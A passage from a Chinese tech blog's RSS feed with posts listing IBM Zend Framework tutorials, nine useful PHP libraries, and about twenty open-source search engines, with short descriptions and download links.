模型-视图-控制器及添加数据库</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=169447" target="_blank">理解 Zend 框架，第 3 部分: 提要（RSS）</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-zend4/index.html" target="_blank">理解 Zend 框架，第 4 部分: 使用 Zend_HTTP_Client 获取无提要的内容</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=170879" target="_blank">理解 Zend 框架，第 5 部分: 创建 PDF 文件</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-zend6/index.html" target="_blank">理解 Zend 框架，第 6 部分: 发送电子邮件</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-zend7/index.html" target="_blank">理解 Zend 框架，第 7 部分: 搜索</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=170880" target="_blank">理解 Zend 框架，第 8 部分：添加相关信息和服务</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-zend9/index.html" target="_blank">理解 Zend 框架，第 9 部分: 用 Ajax 和 JSON 添加交互性</a></p>
<p> </p>
<p></span></span></span></span></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/ibm%e5%87%ba%e5%93%81php%e6%95%99%e7%a8%8b%e6%96%87%e7%ab%a0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>9个PHP库简介和下载</title>
		<link>http://cq-cser.cn/2010/01/9%e4%b8%aaphp%e5%ba%93%e7%ae%80%e4%bb%8b%e5%92%8c%e4%b8%8b%e8%bd%bd/</link>
		<comments>http://cq-cser.cn/2010/01/9%e4%b8%aaphp%e5%ba%93%e7%ae%80%e4%bb%8b%e5%92%8c%e4%b8%8b%e8%bd%bd/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 07:21:16 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=668</guid>
		<description><![CDATA[9个非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。 1. ReCAPTCHA The reCAPTCHA 库让你可以为网站创建高级的 CAPTCHA 系统，这个系统其实是用来生成验证信息的，甚至包括语音验证。当然还有 reCAPTCHA 服务可以使用，其提供易用的免费 API，值得在你的网站试试。 下载 ReCAPTCHA &#124; 获得 API Key &#124; 文档 2. Akismet Akismet 是个供小站点使用的免费服务，用来修改规范将加入数据库的评论（防止恶意评论）。这个库一直在改善。 详细参考 Akismet 介绍 3. Services_JSON JSON 是人类能容易理解的信息传递格式。不过如果你并未使用 5.2.0 以后版本的 PHP（从那以后 PHP 有了 JSON 官方支持），那么就应该试试这个库。 查看 Services_JSON 4. Smarty Smarty就是鼎鼎大名的官方模版库了。它提供了不少有用的功能。其实使用 PHP 的人都该瞧瞧。 下载 Smarty &#124; 官方文档 5. pChart pChart 是极其有名的数据图形库。它能为数据展示提供各种美丽的图表。其实使用 PHP 的人都一定会碰到使用它的情况。 下载 [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>9个非常有用的PHP类库，相信一定可以为你的WEB<a href="http://paranimage.com/category/dede/">开发</a>提供更好和更为快速的方法。</p>
<h3>1. ReCAPTCHA</h3>
<p><a href="http://recaptcha.net/plugins/php/" target="_blank">The reCAPTCHA</a> 库让你可以为网站创建高级的 CAPTCHA 系统，这个系统其实是用来生成验证信息的，甚至包括语音验证。当然还有 reCAPTCHA 服务可以使用，其提供易用的免费 API，值得在你的网站试试。</p>
<p><a href="http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest" target="_blank">下载 ReCAPTCHA</a> | <a href="http://recaptcha.net/api/getkey?app=php" target="_blank">获得 API Key</a> | <a href="http://recaptcha.net/plugins/php/" target="_blank">文档</a></p>
<h3>2. Akismet</h3>
<p><a href="http://akismet.com/" target="_blank">Akismet</a> 是个供小站点使用的免费服务，用来修改规范将加入数据库的评论（防止恶意评论）。这个库一直在改善。</p>
<p><a href="http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/" target="_blank">详细参考 Akismet 介绍</a></p>
<h3>3. Services_JSON</h3>
<p>JSON 是人类能容易理解的信息传递格式。不过如果你并未使用 5.2.0 以后版本的 PHP（从那以后 PHP 有了 JSON 官方支持），那么就应该试试这个库。</p>
<p><a href="http://pear.php.net/package/Services_JSON" target="_blank">查看 Services_JSON</a></p>
<h3>4. Smarty</h3>
<p><a href="http://smarty.net/" target="_blank">Smarty</a>就是鼎鼎大名的官方模版库了。它提供了不少有用的功能。其实使用 PHP 的人都该瞧瞧。</p>
<p><a href="http://smarty.net/download.php" target="_blank">下载 Smarty</a> | <a href="http://smarty.net/docs.php" target="_blank">官方文档</a></p>
<h3>5. pChart</h3>
<p><a href="http://pchart.sourceforge.net/index.php" target="_blank">pChart</a> 是极其有名的数据图形库。它能为数据展示提供各种美丽的图表。其实使用 PHP 的人都一定会碰到使用它的情况。</p>
<p><a href="http://pchart.sourceforge.net/download.php" target="_blank">下载 pChart</a> | <a href="http://pchart.sourceforge.net/documentation.php" target="_blank">文档</a>| <a href="http://pchart.sourceforge.net/demo.php" target="_blank">查看演示</a></p>
<h3>6. SimplePie</h3>
<p><a href="http://simplepie.org/" target="_blank">SimplePie</a> 让你轻松提取内容（好比 RSS feeds）。它能和多种语言交互，也能处理各种格式的 feed。</p>
<p><a href="http://simplepie.org/downloads/" target="_blank">下载 SimplePie</a> | <a href="http://simplepie.org/wiki/" target="_blank">查看文档</a>| <a href="http://net.tutsplus.com/videos/screencasts/extending-simplepie-to-parse-unique-rss-feeds/" target="_blank">为独特的 RSS Feeds 拓展 SimplePie </a></p>
<h3>7. XML-RPC PHP Library</h3>
<p>有时你需要使用 XML-RPC 技术去和其他网站交互，那么试试这个 <a href="http://phpxmlrpc.sourceforge.net/" target="_blank">XML-RPC PHP</a> 库吧。</p>
<p><a href="http://phpxmlrpc.sourceforge.net/#download" target="_blank">下载 XML-RPC PHP</a> | <a href="http://phpxmlrpc.sourceforge.net/#interest" target="_blank">查看文档</a></p>
<h3>8. Amazon S3</h3>
<p>Amazon 有名的云计算平台叫做 “S3″。这里就有<a href="http://undesigned.org.za/2007/10/22/amazon-s3-php-class" target="_blank">Amazon S3 库</a> 让你不用任何附加工具就可以使用云，上传大量数据文件。</p>
<p><a href="http://amazon-s3-php-class.googlecode.com/files/s3-php5-curl_0.3.9.tar.gz" target="_blank">下载 Amazon S3 PHP Class</a></p>
<h3>9. PHPMailer</h3>
<p>大多数 web 应用都在使用 PHP 的 mail() 函数。PHPMailer 让你更加灵活地处理 Email 的发出，不但支持任何格式，还可以加入附件并自定义 header。</p>
<p><a href="http://phpmailer.codeworxtech.com/index.php?pg=sf&amp;p=dl" target="_blank">下载 PHPMailer</a> | <a href="http://phpmailer.codeworxtech.com/index.php?pg=tutorial" target="_blank">查看文档</a></p>
<p>via <a href="http://paranimage.com/9-php-libraries/">http://paranimage.com/9-php-libraries/</a></p>
<p><a href="http://tech.techweb.com.cn/thread-422740-1-1.html" target="_blank">9 个开发人员应该知道的 PHP 库 | TechWeb 技术社区</a></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/9%e4%b8%aaphp%e5%ba%93%e7%ae%80%e4%bb%8b%e5%92%8c%e4%b8%8b%e8%bd%bd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20开源搜索引擎系统</title>
		<link>http://cq-cser.cn/2009/12/20%e5%bc%80%e6%ba%90%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e7%b3%bb%e7%bb%9f/</link>
		<comments>http://cq-cser.cn/2009/12/20%e5%bc%80%e6%ba%90%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e7%b3%bb%e7%bb%9f/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 08:54:04 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[OTHER]]></category>
		<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[开源]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=494</guid>
		<description><![CDATA[一些开源搜索引擎系统介绍，包含开源Web搜索引擎和开源桌面搜索引擎。 Sphider Sphider是一个轻量级，采用PHP开发的web spider和搜索引擎，使用mysql来存储数据。可以利用它来为自己的网站添加搜索功能。Sphider非常小,易于安装和修改，已经有数千网站在使用它。 RiSearch PHP RiSearch PHP是一个高效，功能强大的搜索引擎，特别适用于中小型网站。RiSearch PHP非常快，它能够在不到1秒钟内搜索5000-10000个页面。RiSearch是一个索引搜索引擎,这就意味着它先将你的网站做索引并建立一个数据库来存储你网站所有页面的关键词以便快速搜索。Risearch是全文搜索引擎脚本,它把所有的关键词都编成一个文档索引除了配置文件里面的定义排除的关键词。 RiSearch使用经典的反向索引算法(与大型的搜索引擎相同),这就是为什么它会比其它搜索引擎快的原因。 PhpDig PhpDig是一个采用PHP开发的Web爬虫和搜索引擎。通过对动态和静态页面进行索引建立一个词汇表。当搜索查询时，它将按一定的排序规则显示包含关键字的搜索结果页面。PhpDig包含一个模板系统并能够索引PDF,Word,Excel,和PowerPoint文档。PHPdig适用于专业化更强、层次更深的个性化搜索引擎，利用它打造针对某一领域的垂直搜索引擎是最好的选择。 OpenWebSpider OpenWebSpider是一个开源多线程Web Spider（robot：机器人，crawler：爬虫)和包含许多有趣功能的搜索引擎。 Egothor Egothor是一个用Java编写的开源而高效的全文本搜索引擎。借助Java的跨平台特性，Egothor能应用于任何环境的应用，既可配置为单独的搜索引擎，又能用于你的应用作为全文检索之用。 Nutch Nutch 是一个开源Java 实现的搜索引擎。它提供了我们运行自己的搜索引擎所需的全部工具。包括全文搜索和Web爬虫。 Lucene Apache Lucene是一个基于Java全文搜索引擎，利用它可以轻易地为Java软件加入全文搜寻功能。Lucene的最主要工作是替文件的每一个字作索引，索引让搜寻的效率比传统的逐字比较大大提高，Lucen提供一组解读，过滤，分析文件，编排和使用索引的API，它的强大之处除了高效和简单外，是最重要的是使使用者可以随时应自已需要自订其功能。 Oxyus 是一个纯java写的web搜索引擎。 BDDBot BDDBot是一个简单的易于理解和使用的搜索引擎。它目前在一个文本文件（urls.txt）列出的URL中爬行，将结果保存在一个数据库中。它也支持一个简单的Web服务器，这个服务器接受来自浏览器的查询并返回响应结果。它可以方便地集成到你的Web站点中。 Zilverline Zilverline是一个搜索引擎，它通过web方式搜索本地硬盘或intranet上的内容。Zilverline可以从PDF， Word， Excel， Powerpoint， RTF， txt， java， CHM，zip， rar等文档中抓取它们的内容来建立摘要和索引。从本地硬盘或intranet中查找到的结果可重新再进行检索。Zilverline支持多种语言其中包括中文。 XQEngine XQEngine用于XML文档的全文本搜索引擎。利用XQuery做为它的前端查询语言。它能够让你查询XML文档集合通过使用关键字的逻辑组合。有点类似于Google与其它搜索引擎搜索HTML文档一样。XQEngine只是一个用Java开发的很紧凑的可嵌入的组件。 MG4J MG4J可以让你为大量的文档集合构建一个被压缩的全文本索引，通过使内插编码（interpolative coding）技术。 JXTA Search JXTA Search是一个分布式的搜索系统。设计用在点对点的网络与网站上。 YaCy YaCy基于p2p的分布式Web搜索引擎。同时也是一个Http缓存代理服务器。这个项目是构建基于p2p Web索引网络的一个新方法。它可以搜索你自己的或全局的索引，也可以Crawl自己的网页或启动分布式Crawling等。 Red-Piranha Red-Piranha是一个开源搜索系统，它能够真正”学习”你所要查找的是什么。Red-Piranha可作为你桌面系统（Windows，Linux与Mac）的个人搜索引擎，或企业内部网搜索引擎，或为你的网站提供搜索功能，或作为一个P2P搜索引擎，或与wiki结合作为一个知识/文档管理解决方案，或搜索你要的RSS聚合信息，或搜索你公司的系统（包括SAP，Oracle或其它任何Database/Data source），或用于管理PDF，Word和其它文档，或作为一个提供搜索信息的WebService或为你的应用程序（Web，Swing，SWT，Flash，Mozilla-XUL，PHP， Perl或c#/.Net）提供搜索后台等等。 LIUS [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/06/%e5%bc%80%e6%ba%90%e7%bd%91%e7%bb%9c%e7%88%ac%e8%99%ab%e4%bb%8b%e7%bb%8d%e5%8f%8a%e5%85%b6%e6%af%94%e8%be%83/' rel='bookmark' title='Permanent Link: 开源网络爬虫介绍及其比较'>开源网络爬虫介绍及其比较</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div>
<p>一些开源<a href="http://paranimage.com/category/sites/search-engine/"><span style="color: #4499aa;">搜索引擎</span></a>系统介绍，包含开源Web搜索引擎和开源桌面搜索引擎。</p>
<p><a href="http://www.sphider.eu/" target="_blank"><span style="color: #4499aa;">Sphider</span></a></p>
<p>Sphider是一个轻量级，采用PHP开发的web spider和搜索引擎，使用mysql来存储数据。可以利用它来为自己的网站添加搜索功能。Sphider非常小,易于安装和修改，已经有数千网站在使用它。<span id="more-494"></span></p>
<p><a href="http://risearch.org/" target="_blank"><span style="color: #4499aa;">RiSearch PHP</span></a></p>
<p>RiSearch PHP是一个高效，功能强大的搜索引擎，特别适用于中小型网站。RiSearch PHP非常快，它能够在不到1秒钟内搜索5000-10000个页面。RiSearch是一个索引搜索引擎,这就意味着它先将你的网站做索引并建立一个数据库来存储你网站所有页面的关键词以便快速搜索。Risearch是全文搜索引擎脚本,它把所有的关键词都编成一个文档索引除了配置文件里面的定义排除的关键词。 RiSearch使用经典的反向索引算法(与大型的搜索引擎相同),这就是为什么它会比其它搜索引擎快的原因。</p>
<p><a href="http://www.phpdig.net/" target="_blank"><span style="color: #4499aa;">PhpDig</span></a></p>
<p>PhpDig是一个采用PHP开发的Web爬虫和搜索引擎。通过对动态和静态页面进行索引建立一个词汇表。当搜索查询时，它将按一定的排序规则显示包含关键字的搜索结果页面。PhpDig包含一个模板系统并能够索引PDF,Word,Excel,和PowerPoint文档。PHPdig适用于专业化更强、层次更深的个性化搜索引擎，利用它打造针对某一领域的垂直搜索引擎是最好的选择。</p>
<p><a href="http://www.openwebspider.org/" target="_blank"><span style="color: #4499aa;">OpenWebSpider</span></a></p>
<p>OpenWebSpider是一个开源多线程Web Spider（robot：机器人，crawler：爬虫)和包含许多有趣功能的搜索引擎。</p>
<p><a href="http://www.egothor.org/" target="_blank"><span style="color: #4499aa;">Egothor </span></a></p>
<p>Egothor是一个用Java编写的开源而高效的全文本搜索引擎。借助Java的跨平台特性，Egothor能应用于任何环境的应用，既可配置为单独的搜索引擎，又能用于你的应用作为全文检索之用。</p>
<p><a href="http://lucene.apache.org/nutch/" target="_blank"><span style="color: #4499aa;">Nutch </span></a></p>
<p>Nutch 是一个开源Java 实现的搜索引擎。它提供了我们运行自己的搜索引擎所需的全部工具。包括全文搜索和Web爬虫。</p>
<p><a href="http://lucene.apache.org/" target="_blank"><span style="color: #4499aa;">Lucene</span></a></p>
<p>Apache Lucene是一个基于Java全文搜索引擎，利用它可以轻易地为Java软件加入全文搜寻功能。Lucene的最主要工作是替文件的每一个字作索引，索引让搜寻的效率比传统的逐字比较大大提高，Lucen提供一组解读，过滤，分析文件，编排和使用索引的API，它的强大之处除了高效和简单外，是最重要的是使使用者可以随时应自已需要自订其功能。</p>
<p><a href="http://sourceforge.net/projects/oxyus/" target="_blank"><span style="color: #4499aa;">Oxyus</span></a></p>
<p>是一个纯java写的web搜索引擎。</p>
<p><a href="http://www.twmacinta.com/bddbot/" target="_blank"><span style="color: #4499aa;">BDDBot</span></a></p>
<p>BDDBot是一个简单的易于理解和使用的搜索引擎。它目前在一个文本文件（urls.txt）列出的URL中爬行，将结果保存在一个数据库中。它也支持一个简单的Web服务器，这个服务器接受来自浏览器的查询并返回响应结果。它可以方便地集成到你的Web站点中。</p>
<p><a href="http://www.zilverline.org/" target="_blank"><span style="color: #4499aa;">Zilverline</span></a></p>
<p>Zilverline是一个搜索引擎，它通过web方式搜索本地硬盘或intranet上的内容。Zilverline可以从PDF， Word， Excel， Powerpoint， RTF， txt， java， CHM，zip， rar等文档中抓取它们的内容来建立摘要和索引。从本地硬盘或intranet中查找到的结果可重新再进行检索。Zilverline支持多种语言其中包括中文。</p>
<p><a href="http://translate.google.cn/translate?hl=zh-CN&amp;sl=en&amp;u=http://xqengine.sourceforge.net/&amp;sa=X&amp;oi=translate&amp;resnum=3&amp;ct=result&amp;prev=/search%3Fq%3DXQEngine%26hl%3Dzh-CN%26newwindow%3D1%26rlz%3D1B5GGGL_zh-CNCN295CN295" target="_blank"><span style="color: #4499aa;">XQEngine</span></a></p>
<p>XQEngine用于XML文档的全文本搜索引擎。利用XQuery做为它的前端查询语言。它能够让你查询XML文档集合通过使用关键字的逻辑组合。有点类似于Google与其它搜索引擎搜索<a href="http://paranimage.com/category/dede/html"><span style="color: #4499aa;">HTML</span></a>文档一样。XQEngine只是一个用Java开发的很紧凑的可嵌入的组件。</p>
<p><a href="http://mg4j.dsi.unimi.it/" target="_blank"><span style="color: #4499aa;">MG4J</span></a></p>
<p>MG4J可以让你为大量的文档集合构建一个被压缩的全文本索引，通过使内插编码（interpolative coding）技术。</p>
<p><a href="https://jxta.dev.java.net/" target="_blank"><span style="color: #4499aa;">JXTA Search</span></a></p>
<p>JXTA Search是一个分布式的搜索系统。设计用在点对点的网络与网站上。</p>
<p><a href="http://yacy.net/" target="_blank"><span style="color: #4499aa;">YaCy</span></a></p>
<p>YaCy基于p2p的分布式Web搜索引擎。同时也是一个Http缓存代理服务器。这个项目是构建基于p2p Web索引网络的一个新方法。它可以搜索你自己的或全局的索引，也可以Crawl自己的网页或启动分布式Crawling等。</p>
<p><a href="http://red-piranha.sourceforge.net/" target="_blank"><span style="color: #4499aa;">Red-Piranha</span></a></p>
<p>Red-Piranha是一个开源搜索系统，它能够真正”学习”你所要查找的是什么。Red-Piranha可作为你桌面系统（Windows，Linux与Mac）的个人搜索引擎，或企业内部网搜索引擎，或为你的网站提供搜索功能，或作为一个P2P搜索引擎，或与wiki结合作为一个知识/文档管理解决方案，或搜索你要的RSS聚合信息，或搜索你公司的系统（包括SAP，Oracle或其它任何Database/Data source），或用于管理PDF，Word和其它文档，或作为一个提供搜索信息的WebService或为你的应用程序（Web，Swing，SWT，Flash，Mozilla-XUL，PHP， Perl或c#/.Net）提供搜索后台等等。</p>
<p><a href="http://sourceforge.net/projects/lius/" target="_blank"><span style="color: #4499aa;">LIUS</span></a></p>
<p>LIUS是一个基于Jakarta Lucene项目的索引框架。LIUS为Lucene添加了对许多文件格式的进行索引功能如：Ms Word，Ms Excel，Ms PowerPoint，RTF，PDF，XML，HTML，TXT，Open Office序列和JavaBeans.针对JavaBeans的索引特别有用当我们要对数据库进行索引或刚好用户使用持久层ORM技术如：Hibernate，JDO，Torque，TopLink进行开发时。</p>
<p><a href="http://lucene.apache.org/solr/" target="_blank"><span style="color: #4499aa;">Apache Solr</span></a></p>
<p>Solr是一个高性能，采用Java5开发，基于Lucene的全文搜索服务器。文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括：高效、灵活的缓存功能，垂直搜索功能，高亮显示搜索结果，通过索引复制来提高可用性，提供一套强大Data Schema来定义字段，类型和设置文本分析，提供基于Web的管理界面等。</p>
<p><a href="http://code.google.com/p/paoding/" target="_blank"><span style="color: #4499aa;">Paoding</span></a></p>
<p>Paoding中文分词是一个使用Java开发的，可结合到Lucene应用中的，为互联网、企业内部网使用的中文搜索引擎分词组件。Paoding填补了国内中文分词方面开源组件的空白，致力于此并希翼成为互联网网站首选的中文分词开源组件。 Paoding中文分词追求分词的高效率和用户良好体验。</p>
<p><a href="http://project.carrot2.org/" target="_blank"><span style="color: #4499aa;">Carrot2</span></a></p>
<p>Carrot2是一个开源搜索结果分类引擎。它能够自动把搜索结果组织成一些专题分类。Carrot2提供的一个架构能够从各种搜索引擎（YahooAPI、GoogleAPI、MSN Search API、eTools Meta Search、Alexa Web Search、PubMed、OpenSearch、Lucene index、SOLR）获取搜索结果。</p>
<p><a href="http://regain.sourceforge.net/" target="_blank"><span style="color: #4499aa;">Regain</span></a></p>
<p>regain是一款与Web搜索引擎类似的桌面搜索引擎系统，其不同之处在于regain不是对Internet内容的搜 索，而是针对自己的文档或文件的搜索，使用regain可以轻松地在几秒内完成大量数据（许多个G）的搜索。Regain采用了Lucene的搜索语法， 因此支持多种查询方式，支持多索引的搜索及基于文件类型的高级搜索，并且能实现URL重写及文件到HTTP的桥接，并且对中文也提供了较好的支持。</p>
<p>Regain提供了两种版本：桌面搜索及服务器搜索。桌面搜索提供了对普通桌面计算机的文档与局域网环境下的网页的快速搜索。服务器版本主要安装在Web服务器上，为网站及局域网环境下的文件服务器进行搜索</p></div>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/06/%e5%bc%80%e6%ba%90%e7%bd%91%e7%bb%9c%e7%88%ac%e8%99%ab%e4%bb%8b%e7%bb%8d%e5%8f%8a%e5%85%b6%e6%af%94%e8%be%83/' rel='bookmark' title='Permanent Link: 开源网络爬虫介绍及其比较'>开源网络爬虫介绍及其比较</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2009/12/20%e5%bc%80%e6%ba%90%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e7%b3%bb%e7%bb%9f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

